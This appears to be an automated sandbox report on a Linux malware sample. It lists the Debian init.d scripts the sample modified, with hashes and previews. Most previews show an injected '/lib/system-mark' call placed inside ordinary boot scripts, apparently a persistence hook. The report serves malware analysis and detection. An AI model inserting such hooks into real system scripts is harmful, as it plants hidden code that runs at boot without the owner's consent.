Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: gdm3.# Should-Start: console-screen dbus network-manager.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: GNOME Display Manager.# Description: Debian init script for the GNOME Display Manager.### END INIT INFO.#.# Author: Ryan Murray <rmurray@debian.org>.#.set -e..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/gdm3.PIDFILE=/var/run/gdm3.pid..test -x $DAEMON \|\| exit 0..if [ -r /etc/default/locale ]; then./lib/system-mark. . /etc/default/locale. export LANG LANGUAGE.fi... /lib/lsb/init-functions..# To start gdm even if it is not the default display manager, change.# HEED_DEFAULT_DISPLAY_MANAGER to "false.".HEED_DEFAULT_DISPLAY_MANAGER=true.DEFAULT_DISPLAY_MANAGER_FILE=/etc/X11/default-display-manager..activate_logind() {. # Try to dbus activate logind to avoid a race conditions if we are not. # runnin

/etc/init.d/hddtemp

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3163
Entropy (8bit):	5.259424339682965
Encrypted:	false
SSDEEP:	48:ietQlU+vdYb5tM7yL7yi47yIrrF9o6YRK50JDRABzNJuhCv8Z//UZJ7iuh052m3s:FtQlTd65tp6iN0oLRsQaAsUkho2mc
MD5:	78C631FF42D0225229009886F9999B56
SHA1:	4FAEF5CD07FC43C3AE00A1D09116580664EB9158
SHA-256:	0EA1C7D35BA69FB47D9AF56AA7FEEA00CC2F0A0F1ACB5796C48D4BB95F980D9E
SHA-512:	DF5DE7A268F0FFB5C6E95A32128877AAB05EA46331471D95E97DD4A31B883D0B9DE9005EC995F37AA254BEFE27A252961FF37148BB3E7896E30373FC16F96D84
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.#.# skeleton example file to build /etc/init.d/ scripts..# This file should be used to construct scripts for /etc/init.d..#.# Written by Miquel van Smoorenburg <miquels@cistron.nl>..# Modified for Debian GNU/Linux.# by Ian Murdock <imurdock@gnu.ai.mit.edu>..#.# Version: @(#)skeleton 1.8 03-Mar-1998 miquels@cistron.nl.#..### BEGIN INIT INFO.# Provides: hddtemp.# Required-Start: $remote_fs $syslog $network.# Required-Stop: $remote_fs $syslog $network.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: disk temperature monitoring daemon.# Description: hddtemp is a disk temperature monitoring daemon.### END INIT INFO..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.NAME=hddtemp.DAEMON=/usr/sbin/$NAME.DESC="disk temperature monitoring daemon"..DISKS="/dev/hd[a-z] /dev/hd[a-z][a-z]".DISKS="$DISKS /dev/sd[a-z] /dev/sd[a-z][a-z]".DISKS="$DISKS

/etc/init.d/hwclock.sh

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3946
Entropy (8bit):	5.1522498878727045
Encrypted:	false
SSDEEP:	96:uYqy3be4txLsMwqTZL5FFTUaTfNvagXQwjdjNvaYXDkeQz:VZbxtXFZNZTfNvawxjNva4e
MD5:	40E4F04E723FB5BEE6DF2327EA35254D
SHA1:	D512EAB734F222022E210CCA19128E992691CF78
SHA-256:	EEC4726C42AA93DEB9D6228BD464ED33FB6C1FF6FFD88ECC14C603746A7C444A
SHA-512:	71D245EA40A64FDCCAAA88D869F8E929F5FA9736FB16D7079CE41184CA9DA71F40E2E6EFED8382C4350089932AAC8C588271F72FB9E5139E35FF504C65127227
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# hwclock.sh.Set and adjust the CMOS clock..#.# Version:.@(#)hwclock.sh 2.00 14-Dec-1998 miquels@cistron.nl.#.# Patches:.#..2000-01-30 Henrique M. Holschuh <hmh@rcm.org.br>.#.. - Minor cosmetic changes in an attempt to help new.#.. users notice something IS changing their clocks.#.. during startup/shutdown..#.. - Added comments to alert users of hwclock issues.#.. and discourage tampering without proper doc reading..# 2012-02-16 Roger Leigh <rleigh@debian.org>.# - Use the UTC/LOCAL setting in /etc/adjtime rather than.# the UTC setting in /etc/default/rcS. Additionally.# source /etc/default/hwclock to permit configuration...### BEGIN INIT INFO.# Provides: hwclock.# Required-Start: mountdevsubfs.# Required-Stop: mountdevsubfs.# Should-Stop: umountfs.# Default-Start: S.# X-Start-Before: checkroot.# Default-Stop: 0 6.# Short-Description: Sync hardware and system clock time..

/etc/init.d/irqbalance

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2707
Entropy (8bit):	4.995870971917478
Encrypted:	false
SSDEEP:	48:92ZPnWGmH6TMV5m11QU7BXCW3gxxsXuHtpyBMbtKxxsDKV/BkH5:92Z/WbZnm11LByWwxKXuHtcBMbtKxKDr
MD5:	E666B216857A200A89A8C38279974070
SHA1:	5184B1942742E7D4811A8BA0080BD19413306EB5
SHA-256:	3A9EF64FD98E3991ABEE18FE69ED507EE8516B5777E7B3E8BB3BC69AE997D1F8
SHA-512:	A2BC047C6034F8594B640DD5A7746AAD3F6BEAC9239AA71C00C90EB19FF37FAD38B08A5ACC0B8E1928CC447450C0A69E3FB4C8A6EF65EC584227F0E8ACF1F3D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: irqbalance.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: daemon to balance interrupts for SMP systems.### END INIT INFO.# irqbalance init script.# August 2003.# Eric Dorland..# Based on spamassassin init script..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/irqbalance.NAME=irqbalance.SNAME=irqbalance.DESC="SMP IRQ Balancer".PIDFILE="/run/$NAME.pid".PNAME="irqbalance".DOPTIONS=""..# Defaults - don't touch, edit /etc/default/.OPTIONS=""..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..test -f /etc/default/irqbalance && . /etc/default/irqbalance..# Beware: irqbalance tries to read and handle environment variables.# directly itself, but since start-stop-daemon clears the env.# we convert the variables to commandline arguments here....# (Note: in the daemon an option is enabled even if its set to.# e.g. the empty strin

/etc/init.d/iscsid

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	4.972539518025109
Encrypted:	false
SSDEEP:	24:2Ex/YpMr8MICUV7OlfrDNhay+HNCNIlH3U8lrQ5l8u4uuCG:/puMAMICu7OlN+UIlH3U8lc/ZWCG
MD5:	ECC4B12F805560CED916AF27BF8423D1
SHA1:	A5954BF38D2E34AE23286D676FE6E4153CDBFF69
SHA-256:	C33D4A5025DB90ACA69F23F041F2AFB4B31F1016DF03631C6D918A4EF5E6842D
SHA-512:	CFAC2CC9451D012F8A4DACFFC6ACA4C9456FF4F0D212C419443C0939CEB0AFE1DAE59329D9F9D27413A9E6CF2E0D05775C873AE53C355C0A8A738DB07120CAD3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing..if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then./lib/system-mark. set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script.fi.### BEGIN INIT INFO.# Provides: iscsid.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs sendsigs.# Default-Start: S.# Default-Stop: 0 1 6.# Short-Description: iSCSI initiator daemon (iscsid).# Description: The iSCSI initiator daemon takes care of.# monitoring iSCSI connections to targets. It is.# also the daemon providing the interface for the.# iscisadm tool to talk to when administering iSCSI.# connections..### END INIT INFO..# Author: Christian Seiler <christian@iwakd.de>..DESC="iSCSI initiator daemon".DAEMON=/sbin/iscsid.PIDFILE=/run/iscsid.pid.OMITDIR=/run/sendsigs.omit.d..do_start_prepare() {..if ! /lib/open-iscsi/startup-chec

/etc/init.d/keyboard-setup.sh

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1548
Entropy (8bit):	4.309956240738216
Encrypted:	false
SSDEEP:	48:9XfgD1yQyKzYcg/LshTJckS5MJAb8kGh5A9b6:9YQLH/w5SO
MD5:	89A7217DCF2B72ACC044B81A9CC3FC6F
SHA1:	E4E5E503268D650B4F0FE7C37DC0BD3EFA1CABC6
SHA-256:	896A6EAFC64047CB19D6319915BD349FD3B90A8BECA8A83AB2153EEC519A59E5
SHA-512:	8E6B76171B23133C44AB7CF19DCCCE87FD0AA38F4BC0520AB6F2AFA64CA506D447C192F0B09A8584D9C2203F665E89D8D33B3EA30E53681F5BA62A1DABC1DBC6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: keyboard-setup.sh.# Required-Start: mountkernfs.# Required-Stop:.# X-Start-Before: checkroot.# Default-Start: S.# Default-Stop:.# X-Interactive: true.# Short-Description: Set the console keyboard layout.# Description: Set the console keyboard as early as possible.# so during the file systems checks the administrator.# can interact. At this stage of the boot process.# only the ASCII symbols are supported..### END INIT INFO..if [ -f /bin/setupcon ]; then./lib/system-mark. case "$1" in. stop\|status). # console-setup isn't a daemon. ;;. start\|force-reload\|restart\|reload). if [ -f /lib/lsb/init-functions ]; then./lib/system-mark. . /lib/lsb/init-functions. else. log_action_begin_msg () {.. echo -n "$@... ". }.. log_action_end_msg () {..

/etc/init.d/kmod

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2164
Entropy (8bit):	4.907145181173842
Encrypted:	false
SSDEEP:	24:+mUxLADBzBQYDMAKjqg3Ulfb4MZC/tCYJGMsMHwDa1kig/ue5NrGgbcl8d:l/dtQYxKjRQfbO/oYJbJQAki6jzz
MD5:	0B192EEF5B7E6AE9C89B8E127943E04C
SHA1:	6F6B5F63D1F504524C5C27849353255A6EDEA52E
SHA-256:	D43E4D15B82D9D85BEF6B2B676506AED1B7FC3C50232BFB7BFE1D0202C83DCA3
SHA-512:	860ACA2D19758EAA6FD8C3D0552674842916C4F853A6739932A9E66B68582E5359AD91EE4F27443992ACCA380BFC33C2178BCAA21B93A812916CB228B831BA82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh -e.### BEGIN INIT INFO.# Provides: kmod.# Required-Start: .# Required-Stop: .# Should-Start: checkroot.# Should-Stop:.# Default-Start: S.# Default-Stop:.# Short-Description: Load the modules listed in /etc/modules..# Description: Load the modules listed in /etc/modules..### END INIT INFO..# Silently exit if the kernel does not support modules..[ -f /proc/modules ] \|\| exit 0.[ -x /sbin/modprobe ] \|\| exit 0..[ -f /etc/default/rcS ] && . /etc/default/rcS.. /lib/lsb/init-functions..PATH='/sbin:/bin'..case "$1" in. start). ;;.. stop\|restart\|reload\|force-reload). log_warning_msg "Action '$1' is meaningless for this init script". exit 0. ;;.. *). log_success_msg "Usage: $0 start". exit 1.esac..load_module() {. local module args. module="$1". args="$2".. if [ "$VERBOSE" != no ]; then./lib/system-mark. log_action_msg "Loading kernel module $module". modprobe $module $args \|\| true. else. modprobe $module $args > /dev/null 2>&1 \|\| t

/etc/init.d/lightdm

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3534
Entropy (8bit):	5.282612583353571
Encrypted:	false
SSDEEP:	48:fbmo8vyUjH3J+cNrWId4KF9wDeXxr/FI/F7R7cJ0IB6rd/g1ZsbHaXAZ4td/WzvA:d8z3J+cNiR4SzGmJHyRDuHTWld
MD5:	E6E338C277324717A5722E4EA56AA2EE
SHA1:	46334BCB354D10D0AAC47F4D542710B66D446A77
SHA-256:	5BF68D24F74EC03AE3E2D53B8F57E51C8C3CB320FE53E5D6C8F3214E25EE9C29
SHA-512:	19AF2485DB58640CFEA8E245A4E1E57624239C12B961C7218B5B50FB880985D4275862F0F8FA805D004314844B791E8F2FE248A7797FF4D5082A892E34126DE9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..# Largely adapted from xdm's init script:.# Copyright 1998-2002, 2004, 2005 Branden Robinson <branden@debian.org>..# Copyright 2006 Eugene Konev <ejka@imfi.kspu.ru>.#.# This is free software; you may redistribute it and/or modify.# it under the terms of the GNU General Public License as.# published by the Free Software Foundation; either version 2,.# or (at your option) any later version..#.# This is distributed in the hope that it will be useful, but.# WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the.# GNU General Public License for more details..#.# You should have received a copy of the GNU General Public License with.# the Debian operating system, in /usr/share/common-licenses/GPL; if.# not, write to the Free Software Foundation, Inc., 51 Franklin Street, .# Fifth Floor, Boston, MA 02110-1301, USA...### BEGIN INIT INFO.# Provides: lightdm.# Required-Start: $local_fs $remote_fs dbus.# R

/etc/init.d/lm-sensors

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	901
Entropy (8bit):	5.1022129052660485
Encrypted:	false
SSDEEP:	12:1CpBMHQHf7Wc9rlVYhRwDyh0QvsFoiXmH0+QhKDydO6aock1j6yLRujvljn:1i4WyM/IwfJ2Hjq13O
MD5:	46FB137F6F75999F794FDB149BCAD53B
SHA1:	90F88FB0972A25A2BBEA62DB26EA84ED9CFC036D
SHA-256:	D661181FDD70CE80EF52393D7A58D33009CAE7ED2EB62C764C4CAC0181DD7E76
SHA-512:	C360EB8E5FD3E7A7740D6AE395DB430811306C176C9E3FEA975E76B6474533A30F709155A81F007E29DC61AE2200445CCD79F08139998BA575115F7CE45340CC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides: lm-sensors.# Required-Start: $remote_fs.# Required-Stop:.# Default-Start: S.# Default-Stop:.# Short-Description: lm-sensors.# Description: hardware health monitoring.### END INIT INFO... /lib/lsb/init-functions..[ -f /etc/default/rcS ] && . /etc/default/rcS.PATH=/bin:/usr/bin:/sbin:/usr/sbin.PROGRAM=/usr/bin/sensors..test -x $PROGRAM \|\| exit 0..case "$1" in. start)..log_action_begin_msg "Setting sensors limits"..if [ "$VERBOSE" = "no" ]; then./lib/system-mark.../usr/bin/sensors -s 1> /dev/null 2> /dev/null.../usr/bin/sensors 1> /dev/null 2> /dev/null..else.../usr/bin/sensors -s.../usr/bin/sensors > /dev/null..fi..log_action_end_msg 0..;;. stop)..;;. force-reload\|restart)..$0 start..;;. status)..exit 0..;;. *)..log_success_msg "Usage: /etc/init.d/lm-sensors {start\|stop\|restart\|force-reload\|status}"..exit 1.esac..exit 0..

/etc/init.d/lvm2-lvmpolld

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	604
Entropy (8bit):	5.314197695143652
Encrypted:	false
SSDEEP:	12:wdRDNeBuYrBMmCU33VLBa5kI5GKq9XquaZ+w2Cj/:2Ex/lti9OXylj/
MD5:	273FB590FE7F5DAE000DC871BC5418DB
SHA1:	90575E32A398270FC2D10448A454646B84F3B257
SHA-256:	D9EDBDDD0D0151FDC741B4C0B8F6910DC01D9A6F2F2CBE5705297E4B27EE9C0F
SHA-512:	62B1896678941476EF1DF756AC16B136F0FDB1E86A53A8DC17340BDF03504BC7C54A8E04807B692A9F15A7904CE6E0087D3F6373C2CF1F6807444B36E45ABDCB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing..if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then./lib/system-mark. set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script.fi.### BEGIN INIT INFO.# Provides: lvm2-lvmpolld.# Required-Start: $local_fs.# Required-Stop: $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: LVM2 poll daemon.### END INIT INFO..DESC="LVM2 poll daemon".DAEMON=/sbin/lvmpolld.DAEMON_ARGS="-t 60".PIDFILE=/run/lvmpolld.pid..do_start_prepare() {. mkdir -m 0700 -p /run/lvm.}..

/etc/init.d/mono-xsp4

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.325203715837751
Encrypted:	false
SSDEEP:	48:7HvaUX9Q3esRt33P4AWNr/42Fwk0qmA40O4pTjmCjVwUH:7PaUX0eSt3/VczgWBbjmCjVwS
MD5:	0DBC33D8B96CA2A841D1A83960BDF389
SHA1:	BDC86C7897C467A42075B2C80A1CAEDCCA794F76
SHA-256:	631AD4D36C691EBC1AADD6006C597B64A69F4AF1F6AA2455A8F4F2563F11F13D
SHA-512:	F6320E3BD73BC5AFFD6C3D13832F836CE81323C0A059D26C9294A65C3DA7B3A394BC5A20C6B07244F48499BB5B8E3A7869A7E48FAF916CEABC495B8D281BDB8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: mono-xsp4.# Required-Start: $remote_fs.# Required-Stop: $remote_fs.# Should-Start: .# Should-Stop:.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Mono XSP4.# Description: Debian init script for Mono XSP4..### END INIT INFO.#.# Written by Pablo Fischer <pablo@pablo.com.mx>.# Dylan R. E. Moonfire <debian@mfgames.com>.# Modified for Debian GNU/Linux.#.# Version:.@(#)mono-xsp4 pablo@pablo.com.mx.#..# Variables.PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/bin/xsp4.NAME=mono-xsp4.DESC="XSP 4.0 WebServer".DEFAULT=/etc/default/$NAME.CFGDIR=/etc/xsp4.VIRTUALFILE=$CFGDIR/debian.webapp.MONO_SHARED_DIR=/var/run/$NAME.start_boot=false..# Use LSB.. /lib/lsb/init-functions..# If we don't have the basics, don't bother.test -x $DAEMON \|\| exit 0.test -f $DEFAULT && . $DEFAULT...if [ "x$start_boot" != "xtrue" ] ; then./lib/system-mark. exit 0.fi..if [ ! -e $MO

/etc/init.d/multipath-tools

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2964
Entropy (8bit):	5.31314714541473
Encrypted:	false
SSDEEP:	48:7HUksR9JrtNCDCJ99TaPn1PCDCJ99TafOBUV1kqH2fQuzfg61U149eh7KKSKMs:7HUkwbrSDu+Pn1qDu+2qV1RHSQuzA4I5
MD5:	54E61FBA1E794A3A95B4FA31099CEB2F
SHA1:	4036B83019BAE7A2D843C13C52AA91A86C4D4CA4
SHA-256:	BAEC2D4F6968AE735457DE716EB7E880C03C410A53A1C19563C258D78852874E
SHA-512:	6AC88EF6CDE8A2D98ED14A879CEDD04B263F252C0A03E93FBF5F6B50AF5416BDD3BAC231E43C98BA5DF0043703D67F1852D9159672B43D5D5EC0EC61BA431688
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: multipath-tools.# Required-Start: udev $local_fs $remote_fs $syslog.# Required-Stop: udev $local_fs $remote_fs $syslog.# Should-Start: iscsi.# Should-Stop: iscsi.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: multipath daemon.# Description:.### END INIT INFO..PATH=/sbin:/bin:/usr/sbin/:/usr/bin.DAEMON=/sbin/multipathd.NAME=multipathd.DESC="multipath daemon".syspath=/sys/block..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..if [ -f /etc/default/multipath-tools ] ; then./lib/system-mark... /etc/default/multipath-tools.fi..teardown_slaves().{.cd $1; .if [ -d "slaves" ]; then./lib/system-mark.for slave in slaves/;.do..if [ "$slave" = "slaves/" ]; then./lib/system-mark...read dev < $1/dev...tablename=$(dmsetup table --target multipath \| sed -n "s/$.$: . $dev .*/\1/p")...if ! [ -z $tablename ]; then./lib/system-mark....log_daemon_msg "Root is on a multipathed device, multipathd c

/etc/init.d/open-iscsi

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2589
Entropy (8bit):	5.112756814918559
Encrypted:	false
SSDEEP:	48:7UMRMrEm3cy8Nc8NgZlfMMtWBAl3ATeTPAdWIlRdWdtRMg02AC9ArANTcAhicF:7b2rH338azZlfn/lwA4dWIhC8DUbL
MD5:	207481F279E4D4E87E2455C16287C685
SHA1:	1CC3B8B32EE2BCD5342F38B66C936C4EC18897F4
SHA-256:	225B755072D5C433DE74DE26633834FF05A6956053557F1B3F634AE08752C6BF
SHA-512:	E494C2A33928070E2E1BACA3AE53814986AC7C9CEB3B4D31CAE0C0202AC2BEE98CF65A196387FAA7EED560B6AC6665EE6D3C77630167ADFDBF82C99FE3F65B14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: open-iscsi iscsi.# Required-Start: $network $local_fs iscsid.# Required-Stop: $network $local_fs iscsid sendsigs.# Default-Start: S.# Default-Stop: 0 1 6.# Short-Description: Login to default iSCSI targets.# Description: Login to default iSCSI targets at boot and log out.# of all iSCSI targets at shutdown..### END INIT INFO..PATH=/sbin:/bin.DAEMON=/sbin/iscsid.ADM=/sbin/iscsiadm.PIDFILE=/run/iscsid.pid.NAMEFILE=/etc/iscsi/initiatorname.iscsi.CONFIGFILE=/etc/iscsi/iscsid.conf.OMITDIR=/run/sendsigs.omit.d..[ -x "$DAEMON" ] \|\| exit 0... /lib/lsb/init-functions..# Include defaults if available.if [ -f /etc/default/open-iscsi ]; then./lib/system-mark... /etc/default/open-iscsi.fi...if [ ! -d /sys/class/ ]; then./lib/system-mark. log_failure_msg "iSCSI requires a mounted sysfs, not started.". exit 0.fi..RETVAL=0..start() {..if ! [ -s $PIDFILE ] \|\| ! kill -0 `sed -n 1p $PIDFILE` >/dev/null ; then./l

/etc/init.d/open-vm-tools

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1881
Entropy (8bit):	4.863837327437562
Encrypted:	false
SSDEEP:	48:1a/f0aOHh86/X/QA4pWh8FgM8QhmMl8FkgPooG2DKYUP:1a/f0aOB86j4e8j8Q8Ml8OmooG2D3k
MD5:	CE0C8A7E1042C39FB28FEE6981E2ACE4
SHA1:	C7B193DB855B637F7011A28928DE2E0A5796B825
SHA-256:	32735889841F4B203B9C06278D9A178D08AF5288474F475A31F0AC2669C1DD56
SHA-512:	1B676B9B1CB75C48D5B4EE6D34E402A6B99C4CECA8B261177396C13E63323A5C6A9F62B556FFAB110C25B9066D4253E9C0ACB1D3DA790ECD70426DD9A0AA46C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides:..open-vm-tools.# Required-Start:.$local_fs $remote_fs.# Required-Stop:.$local_fs $remote_fs.# X-Start-Before:.# X-Stop-After:.# Default-Start:.2 3 4 5.# Default-Stop:..0 1 6.# Description:..Runs the open-vm-tools services.# Short-Description:.Runs the open-vm-tools services.### END INIT INFO... /lib/lsb/init-functions..exit_if_not_in_vm () {. if which systemd-detect-virt 1>/dev/null; then./lib/system-mark. checktool='systemd-detect-virt'. else. checktool='vmware-checkvm'. fi.. if ! ${checktool} \| grep -iq vmware; then./lib/system-mark. echo "open-vm-tools: not starting as this is not a VMware VM". exit 0. fi.}..case "${1}" in. start). # Check if we're running inside VMWare. exit_if_not_in_vm.. log_daemon_msg "Starting open-vm daemon" "vmtoolsd". start-stop-daemon --start --quiet --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd --test > /dev/null \|\| exit 1.

/etc/init.d/plymouth

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1401
Entropy (8bit):	5.3052027136710675
Encrypted:	false
SSDEEP:	24:1sqE3A2EYVwMwRwDTMBgV2APfcVwAPYIpPgfS+VGgEIT8YojAf5XERmgLGmgOS/F:1sl3AhYG7RgzQAsVwAgGYfdVz58Y9f5v
MD5:	2B23E2A5868129F5B68D4465E1FBA27A
SHA1:	8781CE140244ABA8178CCC20B50AB3C252D82A1F
SHA-256:	5D49F02BB6C8C031EA02F67ABFB812EB75425058AD30F44FAB85A9463D2DB1CC
SHA-512:	8DBA742FB4B66C0799E66FA5E070161E2EDBA95A0789A06F51910D659F51E6313D32072078A44B7D2A46CD18B63036F07FBFBD8AEF90843643860424FED398D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides:..plymouth.# Required-Start:.udev $remote_fs $all.# Required-Stop:.$remote_fs.# Should-Start:..$x-display-manager.# Should-Stop:..$x-display-manager.# Default-Start:.2 3 4 5.# Default-Stop:..0 6.# Short-Description:.Stop plymouth during boot and start it on shutdown.### END INIT INFO..PATH="/sbin:/bin:/usr/sbin:/usr/bin".NAME="plymouth".DESC="Boot splash manager"..test -x /sbin/plymouthd \|\| exit 0..if [ -r "/etc/default/${NAME}" ].then./lib/system-mark... "/etc/default/${NAME}".fi... /lib/lsb/init-functions..set -e..SPLASH="true".for ARGUMENT in $(cat /proc/cmdline).do..case "${ARGUMENT}" in...splash)....SPLASH="true"....;;....nosplash\|plymouth.enable=0)....SPLASH="false"....;;..esac.done..case "${1}" in..start)...case "${SPLASH}" in....true)...../bin/plymouth quit --retain-splash.....;;...esac...;;...stop)...case "${SPLASH}" in....true).....if ! plymouth --ping.....then./lib/system-mark....../sbin/plymouthd --mode=shutdown.....fi......RUNLEV

/etc/init.d/plymouth-log

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.274418902272115
Encrypted:	false
SSDEEP:	12:1snBEfVmWr2lr4HhJ8PWXsbgwfGgrCR6D02ygvRiqhtcy5RujGqGRujrVgDn:1sBEf0FlwhuPBb9GgTHygvR4MLoVS
MD5:	92B74D7357C759DB635940F9DBE7A5E8
SHA1:	88C813B379F01849C7A709BF47D8C40AB2A25345
SHA-256:	DBDAB3736BE330D3CC39A75E100F6FB8D9094413A7D24CAC22A8BE39DE25D3C3
SHA-512:	405A8103CE19E154E58A9B0D26C888807F1DE5B3A98EF8C66DF31F3113542215004FD4CD9783C021ED27FEC165B4605CF6B92C141AD9E2BE4872C1D80A34B6E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides:..plymouth-log.# Required-Start:.$local_fs $remote_fs.# Required-Stop:.$local_fs $remote_fs.# Should-Start:.# Should-Stop:.# Default-Start:.S.# Default-Stop:.# Short-Description:.Inform plymouth that /var/log is writable.### END INIT INFO..PATH="/sbin:/bin:/usr/sbin:/usr/bin".NAME="plymouth-log".DESC="Boot splash manager (write log file)"..test -x /bin/plymouth \|\| exit 0..if [ -r "/etc/default/${NAME}" ].then./lib/system-mark... "/etc/default/${NAME}".fi... /lib/lsb/init-functions..set -e..case "${1}" in..start)...if plymouth --ping...then./lib/system-mark..../bin/plymouth update-root-fs --read-write...fi...;;...stop\|restart\|force-reload)....;;...*)...echo "Usage: ${0} {start\|stop\|restart\|force-reload}" >&2...exit 1...;;.esac..exit 0..

/etc/init.d/procps

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	942
Entropy (8bit):	5.25253518776668
Encrypted:	false
SSDEEP:	12:atdRDNeBuYrBMmCU3sBww+k12FsnM5ldlPSSHTm5TeQxala5tV86s+L2s4hk2z7w:aLEx/25+Z+nMfTWTeCKa3VfhL69z0
MD5:	BEA2BDFD5F7688D4F6E313DC63CA499D
SHA1:	4D6764F461EE096E83A5F5923ED8472A94526E95
SHA-256:	8D2D9E87F61D6D84EFF365927CB97A21EBFC3C9B9BDA48D13858D285AD332466
SHA-512:	932B314974F2AA88FC3E1292729F166EC1459B2951F476F9E9CFA00AC0A36B0687C3CC1BED94B968BBAAF47C3D679CFBE152DFE984E54306800FB85A16DE0F3D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
